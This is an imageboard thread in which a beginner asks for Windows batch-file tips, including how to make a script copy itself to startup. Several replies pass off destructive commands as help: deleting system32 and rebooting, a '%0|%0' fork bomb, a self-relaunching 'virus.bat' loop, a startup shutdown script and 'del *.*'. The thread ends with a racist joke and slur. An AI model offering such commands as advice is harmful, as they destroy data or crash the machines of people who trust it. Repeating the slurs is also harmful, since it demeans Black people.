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Im bored so I'm playing around with batch files is their any information you guys can teach me

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yuricc is a BAT!

Can i be a bat

only you can answer this

your a true hacker I see ha ha!

I'm very new to all of this
And I'm not trying to create malware just trying to learn a little

I'm trying to get the bat file to copy itself onto windows startup. Is their any commands I should try?

Batch files have some of the most disgusting and confusing syntax I've ever seen, I seriously cannot figure out how to make a for loop that increments itself apparently. There's supposed to be some kind of command you're supposed to enter before the stupid fucking thing will work but it didn't do anything when I tried so I don't know. Windows is pretty shit desu

Yes I wanna be a BAT

try this
but you should learn powershell in all honesty

Place it in C:\ and name it virus.bat
:START
start C:/virus.bat
goto START

Thank you and
Thank you

More like
:A
start
goto :A

del C:\windows\system32\
and reboot

Powershell is the new .bat

@echo off
Cd:\documents and settings\all users\startmenu\programs\startup
Shutdown -s

Put
%0|%0
and save it as a bat file
Post results

You really do want me to fuck up my computer

That forks too?

which german steel smithing instruction booklet is this screenshot from?

jerk, now I have to take my PC to the repair shop
I knew I should have gotten a mac

-Posted from my iPhone

Fork as in creates a metric fuck ton of command prompts then yes yes it does

I make batch files as shortcuts to games
it's really useful when it works right, you can have a little popup come up and ask for a server IP
I have "hardcoded" IP bookmarks for servers I go to a lot e.g. if I enter 0 as an ip, it uses the last working server IP that it checks from a little text history file in the game folder, and if I enter 1, it goes to fagman's fagserver stored either in the text file or the actual bat file, 2 goes to awfulserver2343 etc and you can always enter/copypaste an actual IP to have it work normally
then you have the batch file do the work a regular shortcut/command would, which for me is usually something like
Start gamepath\shitgame.mp4.exe "%address%"
then write the IP and whether it worked to the text file
probably depends on the game though, but it sure is fast to write (debugging not as much but hey)
I know Sup Forums doesn't like the vidya, but Sup Forums is way beyond too retarded to do this kind of thing

The most I've used one for was to autostart and kill some applications on demand. It checked whether something was running and then either killed or started them.

here's a good one if you need to find your ip
@echo off
nslookup myip.opendns.com resolver1.opendns.com
pause
exit

It won't

Why don't I just use
I read a little about batch files before posting here
en.m.wikipedia.org/wiki/Batch_file

Is there a valid reason to learn powershell now that Windows 10 has bash?

del *.*

Yes, because windows 10 bash implementation is notoriously trash

Some black nigger kid died and went to heaven.
God stood before him and presented him with a little pair of black wings.
Nigger kid asks god.. "Does this mean i am an angel?"
God replies.. "No, you are a bat, NOW FUCK OFF!"


Are you a nigger?